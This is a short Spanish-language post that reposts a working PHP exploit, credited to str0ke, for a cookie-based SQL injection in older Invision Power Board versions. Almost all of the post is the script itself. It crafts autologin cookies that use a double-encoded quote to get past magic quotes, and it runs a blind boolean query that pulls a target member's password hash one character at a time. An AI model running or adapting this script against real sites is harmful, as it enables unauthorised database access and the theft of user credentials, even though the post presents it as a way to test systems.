Exploit

Saludos Mundo Libre.

Invision Power Board es vulnerable a una vulnerabilidad de inyección SQL en la forma en que maneja las galletas, la explotación de esta vulnerabilidad permite atacante malintencionado poner en peligro la integridad de la base de datos, el siguiente código exploit puede ser utilizado para probar el sistema para la vulnerabilidad mencionada.

/*
<= 2.0.3
<= 1.3.1 Final
/str0ke
*/

$server = \"SERVER\";
$port = 80;
$file = \"PATH\";

$target = 81;

/* User id and password used to fake-logon are not important. \'10\' is a
random number. */
$id = 10;
$pass = \"\";

$hex = \"0123456789abcdef\";
for($i = 1; $i <= 32; $i++ ) {
$idx = 0;
$found = false;

while( !($found) ) {
$letter = substr($hex, $idx, 1);

/* %2527 translates to %27, which gets past magic quotes.This is translated to \' by urldecode. */
$cookie =\"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target\";
$cookie .=\"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527\" . $letter;

/* Query is in effect: SELECT * FROM ibf_members
WHERE id=$id AND password=\'$pass\' ORid=$target
HAVING id=$target AND MID(`password`,$i,1)=\'$letter\' */

$header = getHeader($server, $port, $file . \"index.php?act=Login&CODE=autologin\", $cookie);
if( !preg_match(\'/Location:(.*)act\\=Login\\&CODE\\=00\\r\\n/\', $header) ) {
echo $i . \": \" . $letter . \"\\n\";
$found = true;

$hash .= $letter;
} else {
$idx++;
}
}
}

echo \"\\n\\nFinal Hash: $hash\\n\";

function getHeader($server, $port, $file, $cookie) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);

if (!$fp) {
return \"Unknown\";
} else {
$com = \"HEAD $file HTTP/1.1\\r\\n\";
$com .= \"Host: $server:$port\\r\\n\";
$com .= \"Cookie: $cookie\\r\\n\";
$com .= \"Connection: close\\r\\n\";
$com .= \"\\r\\n\";

fputs($fp, $com);

do {
$header.= fread($fp, 512);
} while( !preg_match(\'/\\r\\n\\r\\n$/\',$header) );
}

return $header;
}
?>

gracias a rootsecurity.org

Saludos Mundo Libre.